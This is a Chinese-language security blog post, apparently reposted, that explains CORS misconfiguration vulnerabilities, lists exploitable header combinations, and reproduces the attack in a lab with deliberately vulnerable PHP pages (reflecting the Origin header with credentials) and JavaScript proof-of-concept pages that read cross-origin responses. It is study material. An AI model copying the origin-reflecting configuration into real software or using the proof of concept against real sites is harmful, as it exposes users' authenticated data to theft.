自学内容网 自学内容网

6、聊聊cors漏洞

1、小结

cors漏洞在20230404基本无了

估计很多乙方工作得同学都拿这个漏洞凑数(可能大部分都不太了解,错失许多高危)

现在这个漏洞基本就是凑数了,在浏览器不断优化得情况下,最终也许会消失

1.1、存在漏洞的情况:

1   如果返回头是以下情况,那么就是高危漏洞,这种情况下漏洞最好利用:
Access-Control-Allow-Origin: https://www.attacker.com(备注:www.attacker.com为恶意网站)
Access-Control-Allow-Credentials: true

实际上,就是此设置真实利用也较为困难;
主要原因是从20年开始,    Google在Chrome开始支持Cookie的新属性SameSite
(该属性目前已经得到了业界各类大众浏览器的支持)



2   如果返回头是以下情况,那么也可以认为是高危漏洞,只是利用起来麻烦一些:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true



3   如果返回以下,则不存在漏洞,因为Null必须是小写才存在漏洞:
Access-Control-Allow-Origin: Null
Access-Control-Allow-Credentials: true



4   如果返回以下,可认为不存在漏洞,因为CORS安全机制阻止了这种情况下的漏洞利用,也可以写上低危的CORS配置错误问题。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true



5   如果返回以下,可认为不存在漏洞,也可以写上低危的CORS配置错误问题。
Access-Control-Allow-Origin: *

1.2、常见的cors设置(php举例)

1.允许所有源
<?php header("Access-Control-Allow-Origin: *"); ?> 

2.允许来自所有源的访问(危险)
<?php header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']); ?> 

3.配置多个访问源(白名单)
<?php
$allowed_origins   = array(  
                            "http://www.example.com"   ,  
                            "http://app.example.com"  ,  
                            "http://cms.example.com"  ,  
                          );  
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){    
    <span class="label label-primary">@header(</span>"Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);  
}
?>

2、漏洞复现

漏洞的情况分为两种,

一种是无需cookie的(实际上这种场景,直接提交未授权访问会更好)

一种是需要cookie的

2.1、无需cookie

漏洞网站:

apiVuln.php

<?php
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user'=>'xq17', 'pass'=&gt;'123456');
echo json_encode($info); //json_encode对变量进行 JSON 编码

攻击代码如下:

exp.php


        window.onload = function cors() {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
        if (this.readyState == 4 &amp;&amp; this.status == 200) {
        document.getElementById("demo").innerHTML =
        alert(this.responseText);
        }
        };
        xhttp.open("GET", "http://受害网站.com:8888/cors/apiVuln.php", true);
        xhttp.send();
        }

攻击结果,

在这里插入图片描述

2.2、需要cookie

测试环境:

php版本:7.3.4    (低版本无法设置cookie的 samesite 属性)

谷歌浏览器:版本 111.0.5563.147(正式版本) (64 位)

火狐浏览器:版本 111.0.5563.147(正式版本) (64 位)

新版ie浏览器:版本 111.0.1661.62 (正式版本) (64)

burp自带浏览器:版本 95.0.4638.69(正式版本) (64 位)

受害者网站代码,
f1.php

<?php

//phpinfo();

// 中文乱码修复
header('Content-Type: text/html; charset=utf-8');


// 假设前端通过POST请求传递了用户名和密码
$username = $_GET['user'];
$password = $_GET['pass'];

// 检查用户名和密码是否正确,此处应该从数据库中查询用户信息
if ($username === 'admin' &amp;&amp; $password === '123456') {
    // 如果用户名和密码正确,设置Cookie
//    setcookie('user', $username, time() + 3600, '/');

    $options = [
    'Secure' => true,
    'httponly' =&gt; false,
    'samesite' =&gt; 'None',
    ];
    setcookie('user', $username, $options);



    // 返回登录成功的响应
    echo '登录成功';
} else {
    // 返回登录失败的响应
    echo '用户名或密码错误';
}
?&gt;

f2.php

<?php
// 中文乱码修复
header('Content-Type: text/html; charset=utf-8');


//header("Access-Control-Allow-Origin: http://10.2.63.8");
//header("Access-Control-Allow-Origin: *");
<span class="label label-primary">@header('Access-Control-Allow-Origin</span>: '.$_SERVER['HTTP_ORIGIN']);
header("Access-Control-Allow-Credentials: true");


// 首先检查用户是否已经登录
if (!isset($_COOKIE['user'])) {
    // 如果尚未登录,重定向到登录页面
    //header('Location: login.php');

    echo('未登录');
    exit();
}
// 如果已经登录,从Cookie中获取用户名
$user = $_COOKIE['user'];

// 显示欢迎消息,或者其他需要登录才可以查看的内容
echo "欢迎您,{$user}!\n<br>";
echo "密码为:123456";

?&gt;

攻击exp.php


        window.onload = function cors() {
//             // 获取已经取到的cookie
//             // var xhttp1 = new XMLHttpRequest();
//             // xhttp1.open("GET", "http://10.12.50.197/login.php", true);
//             // xhttp1.withCredentials = true;
//             // xhttp1.send();


            var xhttp = new XMLHttpRequest();
            xhttp.open("POST", "https://ccc.com/f2.php", true);
            xhttp.withCredentials = true;
            xhttp.send();
            xhttp.onreadystatechange = function() {
            if (this.readyState == 4 &amp;&amp; this.status == 200) {
                document.getElementById("demo").innerHTML =
                alert(this.responseText);
                }
            };

        }

测试流程:

受害者先访问f1.php进行登录,然后访问f2.php看看能不能正常获取。

都可以了,在访问exp.php才会触发

在这里插入图片描述

2.3、需要cookie的方式利用限制

需要同时满足所有:

    ~受害者网站需要存在cors漏洞(以最理想的状态举例)
        Access-Control-Allow-Origin: https://www.attacker.com(备注:www.attacker.com为恶意网站)
        Access-Control-Allow-Credentials: true

    ~受害者网站需要设置cookie内属性
        secure; SameSite=None        、、低版本的php无法设置

    ~受害者网站需要使用https协议
        不然上一步 cookie属性设置无效
        如果设置SameSite为None
            (前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效)。

    ~受害者使用ie浏览器/低版本谷歌浏览器

3、补充与疑惑

本文有其他错误/不足,欢迎各位指出~~

不设置 secure; SameSite=None 新版本ie可以成功吗
不能

不设置https 新版本ie可以成功吗
不能

为什么满足所有测试条件,新版本的谷歌/火狐浏览器仍然失败?
有同学了解的话,欢迎留言沟通指导

原文地址:https://blog.csdn.net/weixin_43970718/article/details/136462480

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!